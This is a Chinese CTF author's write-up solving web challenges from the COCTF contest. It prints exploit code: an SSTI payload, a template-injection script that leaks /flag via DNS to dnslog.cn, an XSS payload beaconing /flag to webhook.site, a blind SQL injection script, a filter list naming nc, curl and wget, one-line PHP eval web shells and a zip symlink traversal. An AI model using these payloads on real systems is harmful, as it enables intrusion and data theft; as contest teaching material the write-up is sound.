COCTF出题人WP

前言

第一次出题略显仓促,下次争取出些有意思的题,不过这届小登确实厉害

正在维护的网页

web简单题一般是按f12查看源代码,所以这里把f12ban掉了

其实快捷键不止这一个,ctrl+shift+ictrl+u右键 甚至通过右上角的选项栏都能打开

flag:coctf{Y0U_w1lL_B3c0M3_7H3_W3B_k1Ng!}

Rubik’s Cube

这题其实为了有趣,手动拼好也算一种解法,不过既然是web题目,肯定有更简单的方法

抓包发现了很多个js请求,不过不用一个个去看,一般叫mainindexgame 这类的就是主文件,主干部分就在这里面,所以进入mian3.js里查看

审查代码发现有个if判断cube.isSolved()的返回值,根据名字可以看出是检查有无还原的函数,直接再控制台中输入cube.isSolved = function() { return true; };将其改为直接返回true即可,再转动魔方让其检查(看到有些选手使用了其他函数,也是可以的)

flag:coctf{J5_15_v3rY_1n73R3571N9}

Rubik’s Cube Revenge

解法同上

计数挑战

校验了先后顺序的,用python脚本循环发包

1
2
3
4
5
6
7
8
9
10
import requests

s=requests.Session()
for i in range(0,3000):
data = {
'count': str(i),
}
res = s.post(url='http://ctf.ctbu.edu.cn:34232/', data=data)
print(i)
print(res.text)

flag:coctf{Y0U_f1N4lly_D1D_17!08297fe8ec11}

Secret Note

先注册一个账号,可以看到进去后有个查看笔记的接口,在url中指定了要查看文件的路径

在源码中也提示了管理员的密码位置

得到管理员密码,成功登录管理员账号,里面有个创建笔记的功能

看响应头能看出是python后端

能构造输入的时候,一般考虑xss或者ssti,一般xss都有一个机器人来触发,所以ssti的可能性比较大(其实拿不准可以都试试)

输入{{1+1}}发现{{`被ban了,回显可以用`{%print%}`绕过

1
{%print "".__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['popen']('cat /f'+'lag').read()%}
由于flag被ban,刚好flag是字符串,所以用`'cat /f'+'lag'`字符串拼接的方式绕过 ![](https://fulian23.oss-cn-beijing.aliyuncs.com/202509282245334.png) flag:`coctf{Congratulations!!!261d4545c34e}` ps:SSTI形成是由于不安全的渲染,导致引擎将`{{}}{%%}内的内容当作python代码运行,攻击者在里面构造恶意的魔术方法链,找到命令执行相关的内置函数,从而执行命令

ez_rce

简单的命令执行,在这里推荐大家安装hackbar这个浏览器插件,可以更方便地发送get、post等请求

这题是发送post请求

flag:coctf{5t4RT_l34rn1NG_PhP!ad2639590a6f}

ez_unserialize

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
highlight_file(__FILE__);
class example
{
public $handle;
function __destruct(){
$this->funnnn();
}
function funnnn(){
$this->handle->close();
}
}
class process{
public $pid;
function close(){
eval($this->pid);
}
}
if(isset($_GET['data'])){
$user_data=unserialize($_GET['data']);
}
?>

考察php反序列化,先分析代码,找到可以利用的链

example类在析构时会自动调用__destruct方法,里面调用了funnnn方法,funnnn里面是用handle调用close方法,在peocess类中有close方法,作用是用eval执行pid这个变量,那个利用链如下:

examplehandle成员设置成process类,在example类析构时自动调用funnnn,里面调用handle也就是process类的close方法,将pid设置为要用eval执行的字符串,最后在close中执行

flag:coctf{Un53R14l124710n!!6a8dc4b48776}

bottle

upload路由可以上传一个zip文件,文件被解压后会放到/view//中,并由template渲染,于是可以构造模板注入,由于”<”,”>”,”{“,”}”被禁止,所以只能用%构造python语句,需要考虑回显,题目环境出网,可用dns回显flag内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
import requests
from io import BytesIO
import zipfile
import re

# 目标服务器URL
TARGET_URL = 'http://ctf.ctbu.edu.cn:34236/'

def create_malicious_zip():
"""创建包含恶意模板的ZIP文件(内存中)"""
buffer = BytesIO()
with zipfile.ZipFile(buffer, 'w') as zf:
# 添加包含SSTI命令的文件
zf.writestr(
'flag.txt',
"""
% import subprocess
% cmd="ping -c 1 $(cat /flag | base64 | tr -d '=' | tr '+/' '-').m4t711.dnslog.cn"
% subprocess.run(cmd, shell=True)
"""
)
buffer.seek(0)
return buffer


def exploit_server():
# 创建恶意ZIP文件
zip_buffer = create_malicious_zip()

# 发送上传请求
files = {'file': ('exploit.zip', zip_buffer, 'application/zip')}
upload_url = f"{TARGET_URL}/upload"
response = requests.post(upload_url, files=files)

if response.status_code != 200:
print(f"上传失败: {response.text}")
return

# 解析服务器响应获取存储路径
print(response.text)
match = re.search(r'访问: /view/([a-f0-9]{32})/([^\s/]+)', response.text)
if not match:
print("无法解析路径:", response.text)
return

md5_path, filename = match.groups()

# 访问恶意文件触发模板注入
view_url = f"{TARGET_URL}/view/{md5_path}/{filename}"
flag_response = requests.get(view_url)

if "you are hacker" in flag_response.text:
print("触发黑名单,请尝试其他payload")
elif flag_response.status_code == 200:
# 从响应中提取flag
print("获取到的Flag内容:")
print(flag_response.text)
else:
print(f"访问失败: {flag_response.status_code}")


if __name__ == '__main__':
exploit_server()

base64解码子域名,得到flag

flag:coctf{Bottle_has_been_recycled03dda42620cb}

不速之“报”

一进去发现是个登陆界面,查看源码发现给出了用户名admin,十有八九就是要爆破密码了

一个小技巧

右键想要复制的请求,以curl(bash)格式复制

打开yakit或者其他抓包软件,可以直接构造curl格式的请求

在password处插入字典,在响应中发现个特殊的包,是登陆成功后的跳转,查看请求头,得到密码admin123

进入是一个留言板,并有按钮提醒老板检查,并且能注入js代码,一道经典的xss注入题目

1
2
3
4
5
6
7
8
9
10
11
12
<script>
(async function(){
try {
let r = await fetch('/flag');
let flag = await r.text();
navigator.sendBeacon('https://webhook.site/c98e67dd-89a5-463f-81ec-fedd375aad2f/', flag);
window._exfil_done = true;
} catch(e) {
window._exfil_done = true;
}
})();
</script>

留言上述代码再提醒老板进入页面,自动运行这段代码,题目中说了flag/flag页面,只有老板有权限访问,这段代码让访问这个页面的用户先访问/flag页面,将内容通过post发送到https://webhook.site/c98e67dd-89a5-463f-81ec-fedd375aad2f/这个webhook链接,从而外带出flag

flag:coctf{85059854-ad10-4e81-8586-4b045101b958}

ps:这题由于要执行js代码、模拟浏览器环境,所以在第一次提交给老板的时候初始化很慢,各位师傅多等一会儿

True or False

这题访问不同文章,id也不同,可知是考sql注入,题目与描述又指向了sql注入中的布尔盲注

布尔盲注是由于不同条件返回不同页面从而验证条件是否为真,例如

1
2
3
4
5
6
7
8
9
http://ctf.ctbu.edu.cn:34238/article.php?id=if(length(database())=1,1,-1) 判断database()也就是当前数据库的长度是否为1,正确整个if语句返回1,也就是id=1,错误整个if返回-1,也就是id为-1 执行后页面为空白,不为id为1的文章,所以当前数据库名称长度不为1
http://ctf.ctbu.edu.cn:34238/article.php?id=if(length(database())=2,1,-1) 返回空白,不为2
http://ctf.ctbu.edu.cn:34238/article.php?id=if(length(database())=3,1,-1) 返回id=1的文章,所以数据库名长度为3

知道长度后我们要爆破出名称,使用mid函数来截取不同位上的字符
http://ctf.ctbu.edu.cn:34238/article.php?id=if((mid(database(),1,1)='c'),1,-1)
mid(截取字符串,起始位置,截取个数)
上面表达式是判断database()也就是当前数据库名第一个字符是不是“c”,通过遍历字符可以爆破出数据库名
表跟字段类似

这道题套了个很简单的waf,拦截空格,or关键字,空格可以用/**/绕过,关键字可以大小写绕过,下面是盲注的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
import requests
import time # 添加延时避免请求过快


def get_length(url):
res = requests.get(url)
print(res.request.url)
return len(res.text)




def is_correct_page(res):
# print(res.text)
return len(res.text)==correct_length


def get_current_db_length(url):
for i in range(1, 100):
payload = f"?id=if(length(database())={i},1,-1)"
if is_correct_page(requests.get(url + payload)):
return i
return None


def get_db_name(url, db_length):
result = ""
chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_"
for i in range(1, db_length + 1):
for c in chars:
payload = f"?id=if((mid(database(),{i},1)=\'{c}\'),1,-1)"
if is_correct_page(requests.get(url + payload)):
result += c
print(result)
break
return result


def get_table_name(url, db_name):
result = ""
chars = "abcdefghijklmnopqrstuvwxyz0123456789_,{}ABCDEFGHIJKLMNOPQRSTUVWXYZ"
for i in range(1, 100):
found = False
for c in chars:
payload = f"?id=if(mid((SelEct/**/group_concat(Table_name)/**/frOm/**/infoRmation_schema.Tables/**/Where/**/Table_schema=\'{db_name}\'),{i},1)=\'{c}\',1,-1)"
# print(payload)
if is_correct_page(requests.get(url + payload)):
result += c
print(result)
found = True
break
if not found:
break
return result


def get_column_name(url, db_name, table_name):
result = ""
chars = "abcdefghijklmnopqrstuvwxyz0123456789_,:;@!#$%^&*()-={}[]<>|/?.ABCDEFGHIJKLMNOPQRSTUVWXYZ "
for i in range(1, 100):
found = False
for c in chars:
payload = f"?id=if(mid((Select/**/group_concat(column_name)/**/fRom/**/infoRmation_schema.Columns/**/Where/**/Table_name=\'{table_name}\'/**/%26%26/**/table_schema=\'{db_name}\'),{i},1)=\'{c}\',1,-1)"
if is_correct_page(requests.get(url + payload)):
result += c
print(result)
found = True
break
if not found:
break
return result


def get_value(url, db_name, table_name, column_name):
result = ""
# 扩展字符集(包含特殊字符)
chars = "abcdefghijklmnopqrstuvwxyz0123456789_,:;@!#$%^&*()-={}[]<>|/?.ABCDEFGHIJKLMNOPQRSTUVWXYZ "
for i in range(1, 200):
found = False
for c in chars:
# 避免SQL语法错误,用反引号包裹列名
payload = f"?id=if(mid((Select/**/group_concat({column_name})/**/fRom/**/{db_name}.{table_name}),{i},1)='{c}',1,-1)"

try:
response = requests.get(url + payload)
time.sleep(0.1) # 每次请求后稍作延时
if is_correct_page(response):
result += c
print(f"Current value: {result}")
found = True
break
except Exception as e:
print(f"请求失败: {e}")
time.sleep(1) # 出错后等待更久

if not found:
print(f"Finished at position {i}")
break
return result

# 使用示例
if __name__ == "__main__":
target_url = "http://ctf.ctbu.edu.cn:34238/article.php"
correct_length=get_length(target_url+"?id=1")
# print(correct_length)
correct_length=985

# db_len = get_current_db_length(target_url)
# print(f"Database length: {db_len}")

# db_len=3
# db_name = get_db_name(target_url, db_len)
# print(f"Database name: {db_name}")

# db_name = "ctf"
# table_name = get_table_name(target_url, db_name)
# print(f"Table name: {table_name}")

# db_name = "ctf"
# table_name = "user"
# columns = get_column_name(target_url, db_name, table_name)
# print(f"Columns: {columns}")

db_name = "ctf"
table_name = "user"
target_columns = ["passwOrd"]
for column in target_columns:
print(f"\n===== Extracting {column} values =====")
values = get_value(target_url, db_name, table_name, column)
print(f"\nFinal {column} values: {values}\n")

需要取消注释,从数据库名开始一步一步获得信息

flag:coctf{b00l34n_1nj3c710n!!096b085b4156}

公司内部文件浏览器

为了降低难度,在源码中给出了被ban的字符和关键字

1
2
3
4
5
6
<!-- 
$bad_patterns = [
'#[ $&;`\(\)\?*<\\\\]#',
'#\b(more|less|nl|cat|bash|sh|nc|curl|wget|index|flag|php)\b#i',
];
-->

由于被ban的字符比较多,所以考虑重新写一个shell文件,但是php关键字被ban了,所以用base64解码写入

<?php eval($_POST["cmd"]);?>编码后为PD9waHAgZXZhbCgkX1BPU1RbImNtZCJdKTs/Pg== (编码后的字符串不能带+会被解码为空格)

使用命令echo "PD9waHAgZXZhbCgkX1BPU1RbImNtZCJdKTs/Pg==" |base64 -d >1.php写入文件,空格可以用%09(tab键)绕过,再在最前面加上|来隔开之前的命令,最后写入php文件可以改成1.p’’hp绕过检测(在shell中才有效),最终payload为|echo%09"PD9waHAgZXZhbCgkX1BPU1RbImNtZCJdKTs/Pg=="%09|base64%09-d%09>1.ph''p

写入成功后便有了没有黑名单的shell,发现cat /flag没内容,而flag.txt里写了web用户还想读取root用户的flag?看来权限不够,而linux中最简单的就是suid提权,输入find / -user root -perm -4000 -print 2>/dev/null查找有s位的可执行程序,返回了/bin/guess,程序为root用户创建,不知道使用方法,但是在/bin目录下找到了guess.c他的源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[]) {
if (argc != 2) {
fprintf(stderr, "Usage: %s <file_path>\n", argv[0]);
return 1;
}
const char *path = argv[1];
FILE *fp = fopen(path, "r");
if (!fp) {
perror("fopen");
return 1;
}
// 读取并打印文件内容
int c;
while ((c = fgetc(fp)) != EOF) {
putchar(c);
}
fclose(fp);
return 0;
}

直接传递文件名即可

flag:coctf{06c4494a-e028-49ae-b953-9defcd8a9343}

ez_upload

打开是一个文件上传的页面,没有任何提示,上传了也没有返回路径,但其实题目描述里的php -S就是一个很关键的提示,通过搜索发现php -S是启动php内置web服务的命令,这个服务在php<=7.4.21时有个页面源码泄露的漏洞

通过题目的响应头发现php版本为7.3.33满足这个漏洞的利用条件

通过burpsuite发送exp(更新content-length要关掉,yakit里没看到关掉的选项所以不能用它发送),得到php代码了发现直接用unzip,这里有软连接目录穿越的漏洞,导致文件可以解压在我们指定的位置

1
2
3
4
5
6
7
ln -s ../../../../var/www/html link #创建软连接link目录指向../../../../var/www/html目录
zip --symlinks link.zip link #创建了带有软连接的压缩包,解压后会产生link目录,指向../../../../var/www/html

rm link #删除软连接目录
mkdir link #创建普通目录
cd link && echo '<?php eval($_POST[1]);?>' > 1.php #进入link目录并创建一句话木马文件
cd ../ && zip -r link1.zip ./* #退回上一层目录,将link目录压缩

依次上传两个压缩包,能访问/1.php即上传成功,可以执行命令

flag:flag{07522c92-1e35-47f5-bffb-7b0dfe6ee997}